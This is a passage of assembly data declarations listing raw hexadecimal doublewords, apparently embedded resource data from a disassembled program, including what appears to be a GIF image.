dd 0DCB1E387h, 6A9EA7A9h, 97A5D984h, 0BF217BF0h, 27CFF37Ch
dd 0D7F517FFh, 0F77DBF67h, 17FF87DFh, 0BFA7E65Dh, 0DFE9FB7Eh
dd 0F7FD7F25h, 0F47F5FE7h, 315F3FFFh, 2403804h, 780D016h
dd 0FE316044h, 640B18Ch, 0F81D036h, 17046084h, 0B06AC028h
dd 0BBB52EC3h, 0D764EC50h, 0D061DA16h, 5848F236h, 42384508h
dd 84D09612h, 0A614427h, 1642B855h, 2F85D0B6h, 130C6184h
dd 85758FB6h, 0D8F0370Dh, 0B8750C87h, 0D0F61E43h, 0E2043F87h
dd 0EE1E50Ch, 2F707A1Bh, 760DC1Ah, 2217A88Dh, 4F89D136h
dd 0A5146284h, 562A4538h, 0C4578AD1h, 0B8B51662h, 0F1762E45h
dd 63044B89h, 45E36B18h, 8B119632h, 120E1C62h, 3444A765h
dd 6F8CC586h, 0E51C6384h, 5A3A4738h, 0C4778DB1h, 0A8F51D63h
dd 918E3C45h, 60DA666Ch, 47D8D819h, 90D21642h, 22644487h
dd 4648B915h, 668D4596h, 2523641Bh, 564A4939h, 0C49792D2h
dd 91F12E4h, 0D26648B2h, 65049F93h, 0CA394528h, 58B26E36h
dd 2A65249Dh, 564AB955h, 0A69452B6h, 5D2A133Ch, 0D65A4B39h
dd 54B796D2h, 84272C1Bh, 0D2E1A236h, 6604BF97h, 19FE8530h
dd 2B10DD1Ch, 0E22CBC89h, 4CB99530h, 91933666h, 321344BAh
dd 6A4D399Dh, 469AD356h, 0A4C86684h, 766E4D79h, 74DF9BD3h
dd 0B98D1FD0h, 0D3826DC6h, 2744E79Ch, 2C69B333h, 1F00D422h
dd 3C674C43h, 59CF39E5h, 351F0EDEh, 0CD38C220h, 0E02205A6h
dd 0D9779DE0h, 3A054063h, 0D4168250h, 684507A0h, 50BA1542h
dd 1E51F286h, 1101C0F8h, 0B6C810B4h, 38098168h, 0B53BC7D8h
dd 768E4F47h, 9492A3D4h, 81F743C7h, 944C2603h, 4B985AA2h
dd 3DD5E8C0h, 0A5D4B696h, 4C69852Fh, 9A533A65h, 37A6D4D6h
dd 754E69C5h, 0F69E53BAh, 53FA7D4h, 3A85506Ah, 0D516A254h
dd 0EA4547A8h, 0B015E94Dh, 0A4F498B5h, 5D01C517h, 0AA55306Ah
dd 57AAD556h, 0B5566AC5h, 76AE55BAh, 55FABD5h, 3AC5586Bh
dd 0D596B256h, 6B4567ACh, 56BAD55Ah, 0ADD5B6B6h, 57EB856Fh
dd 0A7524AA3h, 280CB452h, 0E75E4225h, 0BE57D2BAh, 7FAFD5F6h
dd 5606C05h, 16C2583Bh, 4587B0D6h, 0BB15626Ch, 0D636C658h
dd 6C858FB1h, 593B2564h, 0B2D656CAh, 3E6BCD87h, 0BBD76AEBh
dd 51A50146h, 45686D00h, 96D25A3Bh, 45A7B4D6h, 0BB556A6Dh
dd 0D6B6D65Ah, 6D85AFB5h, 5B3B656Ch, 0B6D6D6DAh, 6E6DC5B7h
dd 0DE5BBB75h, 28B596F6h, 85672CDDh, 16E25C3Bh, 45C7B8D7h
dd 0BB95726Eh, 0D736E65Ch, 6E85CFB9h, 5D3BA574h, 0BAD756EAh
dd 766EC5D7h, 0EE5DBBB5h, 0DFBBD776h, 0C5786F05h, 96F25E3Bh
dd 45E7BCD7h, 0BBD57A6Fh, 0D7B6F65Eh, 6F85EFBDh, 5F3BE57Ch
dd 0BED7D6FAh, 7E6FC5F7h, 0FE5FBBF5h, 0FFBFD7F6h, 5807005h
dd 1702603Ch, 4607C0D8h, 0BC158270h, 0D8370660h, 70860FC1h
dd 101C1F84h, 3B00h, 0
dd 38464947h, 21D6137h, 0FFE70178h, 10000h, 2700031Dh
dd 1330002h, 2003801h, 4100013Ch, 410300h, 460Ch, 160C004Ah
dd 470FF00h, 0A047410h, 68160960h, 0E5F0E09h, 18038209h
dd 850E1254h, 8860F06h, 19155509h, 850F00A1h, 1A21508h
dd 160F7A18h, 90120E7Fh, 0A911709h, 9166C10h, 790D089Ah
dd 0B91B12h, 19157111h, 9C1407A5h, 16731B09h, 0B02BC13h
dd 0AF0B06AFh, 0B9C0307h, 21147A16h, 0C51906B0h, 4BA1102h
dd 1408B11Fh, 0D01802C5h, 0CA80F00h, 200BA60Fh, 6F1700D0h
dd 0EA0261Ch, 0C00DA23h, 0DA292949h, 13951500h, 1B1A8124h
dd 0B2221886h, 168E220Bh, 1D00DB22h, 0BC1A1790h, 1E7C1A0Ah
dd 0A09C814h, 0A91711AAh, 0E81D11h, 1F05D10Ch, 0BE1400E6h
dd 7D3140Ch, 1107D308h, 0A30505DEh, 0BC91416h, 200AC813h
dd 0DC2A1C89h, 13A92404h, 1600F028h, 0AC1006DEh, 13B71914h
dd 2414AB09h, 871B0CC9h, 2E71A20h, 211E8C2Ah, 7D1807DEh
dd 11C12323h, 1D23800Fh, 861114B7h, 14B72521h, 2516AC18h
dd 8B1C19A5h, 13C13120h, 1D03F517h, 0FF322B68h, 1D9E2200h
dd 29218F22h, 8A1F07EAh, 0FD62224h, 1B0FD614h, 0EB1613CCh
dd 16C2180Ah, 232E701Fh, 0D62212D6h, 2A862812h, 311FAC28h
dd 0BD3E1ABEh, 14E32B1Dh, 2314E41Ch, 0F82F299Ah, 23AB260Eh
dd 2420BE3Ah, 0B72123B7h, 2A9A2623h, 3427A638h, 881B14EFh
dd 1DD23630h, 3B28A521h, 0BA2720D2h, 18F12F27h, 2B1CE623h
dd 0C7C04D1Ch, 485E2A2Ah, 3423DF3Ch, 0D82924E1h, 29D03126h
dd 3024E22Eh, 0E14B417Bh, 29DA3B25h, 342DCC2Dh, 0F53929D9h
dd 25EC2D22h, 3220FF2Fh, 0ED525453h, 29FB372Bh, 4940E837h
dd 59CD6F39h, 7C478873h, 64798DD5h, 3E9C866Ch, 8A59B891h
dd 736BEBD7h, 567C75E0h, 9575FD98h, 0A99986D2h, 0EC8B87D2h
dd 0A3998C86h, 0E4AC83B1h, 0EBF9AF7Ah, 0AEAEA19Bh, 0A9A7D3B5h
dd 0A6CFB2A4h, 0AAF9DFB9h, 0C6BEBFAFh, 0EFE2C0AFh, 0C7A4B9B5h
dd 0FFCEB1FEh, 0F3C4CEF0h, 0CCFFD1CFh, 0D7CCFED0h, 0FDFFD9C5h
dd 0DBD3E1CCh, 0E2D1FFE3h, 0FED5D3FFh, 0DCE7DCD3h, 0EADFDFEFh
dd 0EEE1DAF5h, 0DCF4E5DCh, 0EBDDECD9h, 0E9ECDFE6h, 0DAF8E5DFh
dd 0DFDFEDEDh, 0E1CEDDFAh, 0E7CAECE2h, 0E6E2E4FFh, 0FDD4E5E1h
dd 0E2E8E6DBh, 0E7E4DFDFh, 0D9E0E4E2h, 0E6DCE7E6h, 0DBE6DFE1h
dd 0E3EEE5DCh, 0DEF4EEE3h, 0FAE6D6F0h, 0D4DFE9D7h, 0E6DAE8E9h
dd 0E8E4E6F5h, 0E2D1ECD9h, 0E2FFF6E6h, 0D7E7F3E1h, 0FFEEEBE6h
dd 0EDE4EBE4h, 0E4E7FFF6h, 0FBF6ECEBh, 0E9FDE4EAh, 0F3E9FFEBh
dd 0FFEDEBFFh, 0EDFDE1EDh, 0F6EDFFE8h, 0EBF6F3EEh, 0F0FDFCF4h
dd 0E4F4FBF0h, 0FDEDF4FDh, 0F7F2F9F3h, 0F4F8F5FAh, 0F6F7F9FFh
dd 0FAFDFEFCh, 0FAFFF5FFh, 0F9F4FDFEh, 0FFFEFFFFh, 2CFCh
dd 21D0000h, 8000178h, 100300FEh, 0C1E08028h, 6030303h
dd 90901008h, 5018100h, 38982208h, 8A446231h, 7C3A2208h
dd 0C7A2D098h, 4C0C068Fh, 62918914h, 46040181h, 9160347Ah
dd 2902C965h, 0D0783411h, 9080E320h, 0C0163F21h, 45A752C9h
dd 564B3B94h, 0A3F1085Ch, 392C0142h, 50C07C4Eh, 0E034D64h
dd 8894F677h, 9EC623A0h, 345A6B26h, 0C3A2D3E9h, 9E630A84h
dd 2290C884h, 8B398EC4h, 71585C66h, 11824BC0h, 20246423h
dd 44865B2h, 145E5524h, 48AF172Ah, 42E90C84h, 0A7F0DB05h
dd 0E14493DBh, 9038D46Ah, 4487C365h, 8CCBA81h, 0A963F093h
dd 863A2195h, 0D8243268h, 272D5F8Dh, 401AACh, 17350702h
dd 98EBDC32h, 6B0481A8h, 792CDF4Bh, 82D53297h, 0C5DA2B42h
dd 56EF342Bh, 72573CDDh, 0B3378A0Dh, 0ED8C9C5Ah, 7218258Eh
dd 29884460h, 7AF74A07h, 9849E1F6h, 90C8071Ah, 19C6E4D1h
dd 0FEE65E35h, 66AF1788h, 5E2F170Eh, 8F596072h, 0F79A0725h
dd 0E7C877EFh, 0FD8B45C2h, 63F3ECFBh, 0BE5F0F81h, 0B03BF617h
dd 0E97DC5E7h, 7F05A135h, 4D135EFh, 8834397Ah, 0EC58169Eh
dd 5884C370h, 85DE80E0h, 20D7DA0Ah, 0D1A1F21Ah, 0AC6A1AA0h
dd 5688C567h, 7A1E2168h, 0A037E5EFh, 97B1FF7Dh, 0CE098AC3h
dd 678705E1h, 8BE118B0h, 85A8E5F7h, 21A03B17h, 0B5F2871Eh
dd 2F7ADE87h, 7AE437FAh, 0E177C208h, 0F02DF783h, 78681E47h
dd 820E47F0h, 17A1E81Ch, 45A1E423h, 0A8BDF20Eh, 0D8390DDEh
dd 0E1986127h, 179E378Dh, 0A2894038h, 87985C8Fh, 0A46A9A46h
dd 269545C9h, 9DC3878Ah, 0E048EE17h, 308A108Ah, 0C05A1603h
dd 0D7A63B1h, 8B62B8BEh, 0A3BA05E1h, 0D7C83784h, 569DC3h
dd 237B210Ah, 8F6960F6h, 0E68A19EFh, 67E6219Dh, 2388728h
dd 71A10589h, 882200E2h, 6117A9FAh, 21CDF686h, 4CFE9766h
dd 0A9EB2A9Eh, 86A16284h, 9AE5F415h, 0CC5C7DEBh, 0C0AEA20Ah
dd 0A985AAEAh, 6BFAB620h, 0AB0671AEh, 0EEB2AEACh, 5EA1617Ah
dd 78DF7818h, 0AAE81A8Dh, 2208700Ch, 2C651C08h, 1136822h
dd 0A06AE0E6h, 8820C870h, 0D9D1F70Ch, 30911604h, 291D1DC4h
dd 10861148h, 452BD441h, 0F0B02C0Ah, 0F4420882h, 0BFEFEBh
dd 0C0F0214Bh, 306C02F5h, 2C1EF3C0h, 0E842BF04h, 0AC3F0A0h
dd 0C1B10C33h, 441C56F5h, 3BF70918h, 2EF10A70h, 220C307Ch
dd 8B21BF0h, 852106F3h, 9C3F0EC4h, 6706C872h, 13CB842Ch
dd 9F2EC3Fh, 85408AFDh, 70871D0Eh, 0FB2CC3F2h, 0BD041Bh
dd 0CD41708Bh, 452C570Ch, 6D1B3A08h, 329C1F2h, 41BF738Ch
dd 0C5B52128h, 43A0A713h, 512B07D3h, 0BC52C62Fh, 52C5B02Ch
dd 0D4F52C2Bh, 0B18BF715h, 0C5F3DBFh, 56F4D033h, 5DC9B48Ch
dd 0DAF0ED5Fh, 0F5A09EFFh, 31844AC0h, 4ADEFE35h, 0D777EC0Ch
dd 0B7FBFF6Dh, 3BD852D1h, 2380C6B0h, 16BDB5FEh, 0DFB70E37h
dd 0B6EC9821h, 8E233112h, 5EFEDA35h, 3FD0C540h, 152FFCFFh
dd 0C74C1C30h, 26987019h, 0F83A2008h, 2F0842C0h, 0C738FC1Ch
dd 0B8EE16F1h, 1C6366E7h, 0CBB8DFC6h, 1CBDF86Eh, 0EC770DFBh
dd 78FE0FB9h, 0BE37BEF0h, 1442ED38h, 4ECBBBFh, 0EE7C2BD3h
dd 0BCB0BC2Fh, 30B38EDBh, 1385BE70h, 0B9F031BFh, 0C9BC2E13h
dd 0FC90873Ah, 3EB452D7h, 0F791C13Ch, 91D1F91Eh, 0A749D23h
dd 829C9BD2h, 0DE1792E1h, 0AB47D237h, 1808740Dh, 0E3379087h
dd 0FC98237Dh, 0B1AF5782h, 2C082E45h, 0ED95E00h, 35F1B027h
dd 238E6B4Eh, 0B7980BE0h, 0EFC5F2B8h, 5EFAFE5Eh, 30904EE3h
dd 7E6F9E01h, 0E21FA3C3h, 0AFB0A052h, 2D6C6D21h, 2103D8CBh
dd 0F9A42F58h, 0B3886CEBh, 460F0358h, 0F079E541h, 99FC0767h
dd 0B92792EDh, 84EC420h, 5B1B3AFEh, 3027D610h, 674F659Dh
dd 683D82Ch, 2C1290B4h, 1F058088h, 14DF4178h, 0B9D93B36h
dd 0BB0A7DCFh, 485715E2h, 510DD9B9h, 0DE743909h, 0B52774F1h
dd 8CCF221Ch, 1622D38Dh, 0B23B375Dh, 2D8B710Dh, 2D179B7Ch
dd 11DD4076h, 634782ACh, 364AE361h, 2ED98B47h, 0C2936E61h
dd 410764D8h, 7DD1F221h, 0E45F045Fh, 133DC6FAh, 2D60AEEAh
dd 58E50214h, 0C209BD97h, 7BF4708Dh, 0C084C5DCh, 0BCD97B1h
dd 0A0F4438Dh, 0B7E6F4C0h, 6D4D9DFFh, 1C17FBC8h, 846C60Bh
dd 5878E16h, 32E55F5Ch, 56563DB8h, 7CB3850Ch, 9770F698h
dd 0DFA3C49h, 0E2F3006Ah, 2F27C6E1h, 84EDB5C1h, 2F9DBB63h
dd 30B91771h, 36888EECh, 0A3119C2Ch, 83A0376h, 903D2442h
dd 207C0F82h, 0D0F621AFh, 5DA33E79h, 47D7BB15h, 9C9095C7h
dd 0F6982B6Dh
dd 1948F704h, 0EE86F0CEh, 60C0A76Ch, 0CDE5BB07h, 0FE5E9810h
dd 68DC1E3Bh, 0ED82CAA9h, 2AF37010h, 0E976C1A6h, 0F159F9B7h
dd 1F93B177h, 4FB98909h, 9950924Eh, 0CF9A33F5h, 4B4139D8h
dd 0F4926CFEh, 9709A1CAh, 0DE204B06h, 0BBC950Eh, 979D0FDEh
dd 0F34E1950h, 67748071h, 0CE977104h, 9C2E05B2h, 0FAE2F3CFh
dd 0B7B09958h, 9A79523Dh, 4F2672Ch, 527D3E77h, 0A4C798CDh
dd 0DA54F6A3h, 6EF5E8B8h, 5B2CE17Bh, 0D036351Ch, 6DEBF61Bh
dd 1EDA8BFBh, 8987F066h, 0AB7580ECh, 8B08030Bh, 0E272D338h
dd 0D3DD9E34h, 0B85F1FA0h, 0BDA0743h, 1E0C2F86h, 0CEE9695Ah
dd 7E35B9E8h, 3C6A5331h, 0FE2FE787h, 5B6311FDh, 9540674Bh
dd 81D939D6h, 23507253h, 3879399Eh, 0AC19A3B8h, 14BBE63h
dd 0D8A87CFEh, 8EAFD57Fh, 105FBBBEh, 8D4AA729h, 0A96A1379h
dd 34F65C54h, 52513E48h, 341AA8F0h, 0F77D4123h, 1319C5CBh
dd 98045E9Eh, 0CC3988F8h, 91F67A9Eh, 63FE0C72h, 0C329CB5Dh
dd 8BD3E197h, 0B2DCB63h, 0DCCC88DDh, 9E61F2B2h, 57279C33h
dd 368FD65Bh, 0BD7D76D0h, 0B0351264h, 40E48C83h, 5795AB6Fh
dd 0D5F73CD2h, 9736FEA4h, 60A7B598h, 963DE829h, 0AEAF144Eh
dd 0CEF8DC4Dh, 578D059h, 0ED8E71B7h, 796F4E1h, 4EEE01C2h
dd 0E3138FA2h, 5B4A20E1h, 68F24D7Fh, 10267347h, 0CB5E3B01h
dd 7BA02CEAh, 19771A55h, 0D9C55997h, 0FBD988CBh, 0B8312C29h
dd 56D9BA47h, 0DCACC4B8h, 473BAD2Fh, 81D3DEC7h, 15222AF7h
dd 86420A7Bh, 66BAF0DAh, 4D72863h, 72EC51CBh, 8CAFBA92h
dd 0D5FD8161h, 8D5A0CB1h, 0E76DE78Dh, 32692F2Dh, 9E5775EBh
dd 0F8A48CD2h, 3A07B042h, 732AA0F4h, 36108198h, 1ADA3E00h
dd 4E48C8F9h, 0CC9792B2h, 0F93B26E4h, 0B28E50C9h, 0E54CA794h
dd 0CAF95B2Ah, 96B2CE58h, 4203ACB5h, 80D01D0h, 7413C269h
dd 6EE98270h, 4E68CCF9h, 0D79AFEB3h, 0BB36E6CCh, 8E70CDF9h
dd 27679CB3h, 0C19C2684h, 0C269110Bh, 0D3E838D5h, 0CFF9FB39h
dd 0A0B40E80h, 42E84D07h, 84B53A1Bh, 8060198h, 0AC1D0372h
dd 3DEDB6C0h, 4D27A4B4h, 0FA5B4AE9h, 0B36E98D2h, 3306E10h
dd 0D1DA3034h, 0A641D4C5h, 52EA4D47h, 0A8D4FA9Bh, 6E12B416h
dd 234F04F0h, 4B570D00h, 9D22BCC1h, 0FADB5AEAh, 75CEB8D6h
dd 7B085AEh, 23206430h, 0B17E073h, 5D6B467Eh, 0C8D8FB1Bh
dd 0D9B2B64Eh, 1D0821Ch, 385A2102h, 407C1843h, 0FB5B65E0h
dd 0B6CED8DAh, 308BDB6h, 78FC1Dh, 1D83F03Fh, 1CE2F02Eh
dd 0EB8658CFh, 671C7035h, 2F1A4A07h, 4E209BCDh, 8627046Dh
dd 786F135Eh, 0AA6CC38Eh, 0EFC8ED95h, 0CA78CAD1h, 4BEEAC77h
dd 0F15D9DEDh, 2BBD34AEh, 6D067256h, 0B6974049h, 8498C154h
dd 4C61C3B7h, 9C437A67h, 0D885B9C9h, 0C7267D60h, 0E1E15210h
dd 0C2389F0Fh, 714C27FEh, 0BF4BFF10h, 91AD326h, 3782B0A5h
dd 6A24E158h, 0FC0840E8h, 66CA35A0h, 367DC0D0h, 4B59C139h
dd 5C879DF2h, 24CEFFBBh, 73DA7158h, 0E2730784h, 8C6ECE49h
dd 2770EAC5h, 3FDECF07h, 9516E025h, 5296EF5Eh, 0F537A56Ch
dd 37C6DFF7h, 784B0BC1h, 3B0D9B8Ch, 5629355Bh, 0E831F6D4h
dd 5371C5E1h, 0F175A78Bh, 66EDB3B2h, 71DC240Fh, 498158A7h
dd 0CBA10A4Dh, 62501717h, 41D82105h, 5E432008h, 0C2199786h
dd 77CF4F88h, 5263DEF7h, 5A75EDFBh, 6DE1F77Ah, 0C92F2617h
dd 57B8F92Bh, 6F41ABDEh, 0FBC993F8h, 0FC7A3C8h, 65E760EBh
dd 609F2B04h, 0F1D94AF5h, 5BACB75Bh, 0CE5DAA57h, 5FEE7693h
dd 379F7B8Dh, 0FF0AF9ACh, 0BD98A1BCh, 29F5EC37h, 20BDC7FAh
dd 0A04B7D61h, 0F7BEFE08h, 6015801h, 3083F84Fh, 770E81D6h
dd 0CEF9FF38h, 0A5F48757h, 5BEA8E8Fh, 68E8FAFFh, 0FEB7F686h
dd 37EEFDCFh, 0FE01723h, 18E2E7Fh, 5F73EF7Eh, 7F4FE6FCh
dd 7D3FAA33h, 0FDFF4FEBh, 0F40757F0h, 0F9FD3FA1h, 0EF1DDFDBh
dd 0F1FEBFBFh, 0FBFEFF1Fh, 27D8FA9Fh, 0EF7FA7Dh, 4805804h
dd 8087FF8h, 80B0F57Fh, 0FA80B80Ch, 18100F07h, 0EB81081h
dd 0EC0F00EBh, 0E0EF7CC0h, 80480B0Eh, 0FB81C7CEh, 8097F67h
dd 8217CF7Fh, 0F3808824h, 90E60F30h, 8120EC82h, 0F00F60F6h
dd 0C0F30F60h, 8090E87Ch, 0FB80E81Dh, 57F48257h, 7F583A82h
dd 0FC81F836h, 68060EA7h, 0EF83D80h, 108120F3h, 28480EC8h
dd 0F38277Dh, 0F483E81Eh, 0F7D57D87h, 8348067Ch, 0EA819852h
dd 30D20E60h, 0D38040Eh, 76017080h, 911005A0h, 7507403h
dd 0F60C0062h, 0D0ED0EB0h, 80484C0Eh, 140ED80Bh, 98290EB8h
dd 8730C582h, 0BA0C5874h, 98787E20h, 0BA0B987h, 7C87D87Ch
dd 77E287A8h, 0BB0B687h, 0B98800C1h, 88FE0C10h, 0F7D77E28h
dd 87187086h, 2988F88Eh, 88C88B8h, 88C7D585h, 0EE0E688Dh
dd 0D8078407h, 7D78947Eh, 0A089F890h, 0D89388F8h, 8A58A489h
dd 6F896850h, 68A189D8h, 0CB0DB0Eh, 8C0E60DBh, 68A68908h
dd 89D8148Ah, 97829896h, 0F8BA8AB8h, 88E0D289h, 0B8847815h
dd 0E88C8908h, 8698A886h, 0D80EA805h, 88B086F7h, 8958A38Ah
dd 0D08BB8CAh, 886F8B88h, 8A18A58Ch, 0AF88D8CCh, 18488A18h
dd 8B58A489h, 0CB8CF8CEh, 68D08CC8h, 0E88687Dh, 0D20C50EDh
dd 0D8298BD0h, 7607403h, 7F00669Eh, 203707B0h, 118B006h
dd 0F6014011h, 0D8FA8F98h, 8F900D00h, 0FC8FD8FCh, 39021068h
dd 90590490h, 0FA106906h, 39079078h, 90D01C02h, 290D90Eh
dd 118FA9h, 91591402h, 18023914h, 0A9199179h, 91D91891h
dd 2391F91Eh, 89220180h, 91691601h, 2827791Fh, 0B92A9299h
dd 92292C92h, 1E01E277h, 2092FEC0h, 592C9279h, 93393593h
dd 20925023h, 0D0289300h, 93D93E93h, 3E01E1E8h, 89219259h
dd 94793601h, 4A923928h, 291E0189h, 93A91B92h, 52951950h
dd 901E0289h, 93F03803h, 5A1DB93Dh, 403295B9h, 23923A91h
dd 1E952926h, 294F93A9h, 96796695h, 39967968h, 0A9380209h
dd 95893C93h, 6B915970h, 0E9149699h, 92394B01h, 2096491Dh
dd 9309169h, 95505A02h, 0E8070039h, 30790E30h, 45557Ch
dd 7F0741DDh, 70ED0BA0h, 140148Fh, 0D9918FFh, 0E00E9250h
dd 0B02800h, 9A999998h, 90189779h, 1999E01h, 0A29A1016h
dd 0F9A09A19h, 0C99F99h, 0AA0129A6h, 0C01299E9h, 160129Ah
dd 0A79AB9AAh, 94A00C9h, 9B701093h, 0A39B99A3h, 0D9BC01A9h
dd 9BF9BE9Bh, 0C232301Ah, 19C00229h, 3239BC9Ah, 0C9017030h
dd 0D9CC0179h, 9CF9CE9Ch, 309CC9D0h, 59D49D30h, 3233209Dh
dd 0DA02701Ah, 0DC9DB9FEh, 0F9DE9DD9h, 9C39DC9Dh, 239C39DBh
dd 170E71D3h, 9C401702h, 0DD9C29BEh, 0D71F03A6h, 279CE2Fh
dd 0F201D9F1h, 19DA0179h, 9EA9DE9Fh, 0FC9BA9BCh, 79B99FD9h
dd 160109Bh, 1D01B01Ah, 0BA06A050h, 1B01B9Dh, 0AA013013h
dd 0C99E0169h, 0A0194B99h, 0BE9C09BAh, 4A120169h, 99F9A69Ah
dd 19A18922h, 0F9FEA1DAh, 9BA9B8A1h, 0D89C0012h, 99BDA149h
dd 732A06A0h, 99DAA07h, 69FD9BDAh, 9DB022A2h, 159C29CCh
dd 79B19B0Ah, 9C19BBA3h, 32A15027h, 90C20E80h, 7C904F07h
dd 8005E121h, 604D07B0h, 110F60Eh, 0B00E8FFh, 9A4E00C0h
dd 99893099h, 22976018h, 79FCA179h, 9BD9AAA3h, 5BA07A29h
dd 0FA09027Ah, 0A61A5BA5h, 5FA2CA61h, 0DA30A26Ah, 0A699D19Dh
dd 0B04F46E4h, 0C45A46A3h, 0A7102BA6h, 724DBA72h, 5A76A75Ah
dd 0A7631CA7h, 1CA78029h
dd 0FA6C0213h, 0A81A80A7h, 0FEA6CA82h, 85A852F9h, 9A8801FAh
dd 0A88A8AA8h, 0CA02C025h, 43720179h, 0A78A774Fh, 0B0A71A94h
dd 1A804093h, 3482F902h, 0E49D79D2h, 1AA00339h, 0AA3AA2AAh
dd 9AA31AA1h, 5024025Ah, 2F9AAA02h, 290153D1h, 6A14A2DAh
dd 3219BF9Ch, 15A069DAh, 19CFA9C0h, 0A59A2632h, 7EABDA66h
dd 3AA49C22h, 9F79E203h, 429D49CEh, 13489CC0h, 2FA45AA8h
dd 0CEAAA026h, 5ACDACFAh, 6CD02F02h, 0B13953A1h, 0C03AA836h
dd 0AC37809Ch, 43323027h, 603E68E3h, 3031C35h, 0EB0E8020h
dd 504F03D0h, 567807h, 7403305Eh, 30E805A0h, 0A4C0110Fh
dd 12A23A4Dh, 3A4D0130h, 99EA4D92h, 5FA379A2h, 9B00AFFAh
dd 56E665A0h, 6EA85A86h, 0E56EA6EAh, 0AAE01DAAh, 523EEAB7h
dd 0D9DD9F43h, 0A629DCA5h, 8DB0501Dh, 9B184DBAh, 0A89A8BB1h
dd 86A884DBh, 802501FAh, 2D046A8h, 24055B24h, 0AB2602DBh
dd 0B2BB2A02h, 0B1FEBB2Ch, 30B27A89h, 0C04CB24Bh, 0B2E02D04h
dd 24A8AB36h, 0BB3AB390h, 0B31B3AB3h, 88B37B27h, 0DB2A040Ah
dd 2A06D06h, 4504006Dh, 0BB39040Bh, 3EA85AAh, 55B27A88h
dd 0BB51B510h, 0B55B3CB2h, 18B40B3Bh, 0BB073ABBh, 0AD3B07B5h
dd 5D02C348h, 6053B3C0h, 0ACEAD102h, 4A01D02Fh, 19DCADD0h
dd 9DB01BB0h, 8502F46Ah, 0A2F931CAh, 0B759E058h, 0DBB75021h
dd 4027B109h, 0AC99DDB1h, 29A7DB5Bh, 8A8AB1C0h, 0A85A8DB1h
dd 56026025h, 8ACDB55Bh, 0A7EA99A9h, 19B4D2F8h, 0C4DBB91Bh
dd 4AB5CAAh, 2A450732h, 901F024Bh, 5C0272Fh, 5C0EE0E4h
dd 5860AA00h, 0AEE06800h, 0F30EFAF0h, 0B00C998Ah, 0A4E0139Ah
dd 129AE9ADh, 79BC2960h, 577BB406h, 7E07E577h, 6BB80610h
dd 0BBD06F07h, 0C008506Fh, 0F08E085Bh, 7C08F08h, 7CBC7076h
dd 0BCABC90h, 30E3723Bh, 5607EBB8h, 3BCF03A3h, 2FE07EBDh
dd 36EBFEB8h, 6FA05348h, 0EAAB56F5h, 0B4E01FACh, 8ABDEB2Eh
dd 0CA89046Ah, 0B25A8AB4h, 0EAB4402Dh, 0E02AB45Bh, 0B2CB24B3h
dd 52B25BF0h, 3B30B26Bh, 0A8BBE406h, 63BF9046h, 0B3E0630h
dd 0BF1BFEBFh, 39B24BEEh, 5BECB30Bh, 5B063B4h, 9A05BB2Ch
dd 905DA8DBh, 0BFC046A8h, 0EABEBBE9h, 0DBFFBFFBh, 0B30BED02h
dd 1AB05B37h, 0CC1CC1BCh, 1FB60B8h, 5DA88B39h, 0BB09B660h
dd 9DCB7BA2h, 0B5A05061h, 6457732Ah, 0A86B7254h, 6A460AD3h
dd 0B015A614h, 0B143D1BDh, 62B96A05h, 5A05B0AAh, 0B5BB5EC3h
dd 9AA88B70h, 902DB9ABh, 0A86B1EBFh, 89B61025h, 3C23C21Bh
dd 0A97A83B7h, 0F9B22B4Dh, 5A8CBF7Bh, 3D1C1AB8h, 1F3D12FAh
dd 406DC160h, 423AAB2h, 0A0BA0B9Eh, 816E05EAh, 73AEE05h
dd 3BBA80E8h, 92962772h, 0BB205601h, 306701Ah, 3A29B7BAh
dd 0C36A0636h, 0EA02CC36h, 1040040Bh, 0C5DC7E03h, 1F063FEh
dd 1A05F05Fh, 0DBCD4F4Ch, 0C83A81BCh, 8CC8BC8Ah, 0FBBEC83Ch
dd 0BBFC90C8h, 94093085h, 7C96C95Ch, 0C99090C9h, 94C97090h
dd 0DC9E083Ch, 8DCA008h, 88097097h, 8CA4CA30h, 0CA9CA108h
dd 0A0CABCAAh, 0A08DC9ACh, 0C9CC99C9h, 0ACCAEC9Ch, 0FCB6CB5Ch
dd 0CB9CB0CAh, 8CBC2090h, 0E08E08C0h, 0C94C9308h, 97CBFCBFh
dd 6CB7083Ch, 0CC9088CBh, 0B8CA8CA8h, 0ACCDCBACh, 0CD0CD0CBh
dd 0D4CBDCC3h, 3CBECC2Ch, 0BC4BC4BCh, 0DCCDB094h, 0D086CDCCh
dd 0CE0CE0CDh, 0BBBD4076h, 0ACDBBC7Bh, 0CE9CE808h, 0E1CE1CE8h
dd 0FCEECD9Ch, 0CE1CEA08h, 0C7BC6076h, 0CBC8CF5Bh, 0BC908A07h
dd 0E4CFB07Dh, 309407ECh, 8ABC9CFh, 9BCAC093h, 4CDA093Ch
dd 0CC3CEE09h, 8FD0AD0Ah, 0CD0ECEC0h, 0CC1BC4CDh, 12093CB2h
dd 6083C96Dh, 8FCBFC9h, 9009308Eh, 0FC99CC90h, 6A07ECBh
dd 0C70E80E4h, 8C640547h, 0FE3C6600h, 0BA8C6803h, 0E99500Fh
dd 390DA4E0h, 0C74A5F01h, 85B703ACh, 7B04C83Ah, 3EC83D3h
dd 6305DC8Ah, 1D4006B0h, 5905105h, 3106BD44h, 0D03EC800h
dd 0A9305D05h, 0C703AA72h, 1C8A372Bh, 0BF9B1BB9h, 4BACFACFh
dd 2C08B3CCh, 0C08BEAC1h, 7CC7CB2Ah, 0C02E02ECh, 0D5EBEBC7h
dd 6BD40D60h, 0D66D420h, 0D60047D4h, 6ED6DD6Ch, 0ED5FD60Dh
dd 0C12D72D5h, 63D5AB46h, 902ED72Dh, 0D6FD66D6h, 6C06BD7Ch
dd 1D80D7F0h, 0BE4044D8h, 274DBB33h, 0CB34B33Bh, 0D78B47B2h
dd 8E04702Eh, 0FD6FD6BDh, 0D7AD6BD8h, 40D7906Bh, 0D040D6CDh
dd 0D94D94D7h, 2ED9DD7Ch, 204602A0h, 31C02BAEh, 0FD357C87h
dd 0DC232F82h, 0D3CB92C0h, 36C78AACh, 0FB21C48Dh, 0BF6C5301h
dd 0FC53BF6h, 0A063BFBCh, 0DBB05B02h, 0E4BFB05Bh, 0DC0D4ABh
dd 0C83C8DDCh, 5905DDC1h, 0C2FAC79Ch, 6D05DAAh, 44D69D65h
dd 0CBF602ABh, 0ECFE84D3h, 4DB02B03h, 8FB33BBDh, 0D05FA73Ch
dd 0C8BDC305h, 0BBBF9DC5h, 6DBCC09Dh, 0D5ED98B4h, 43BECB2Bh
dd 0F02E031Bh, 5F02DC7h, 3D0E8D22h, 40583570h, 0D2BD2910h
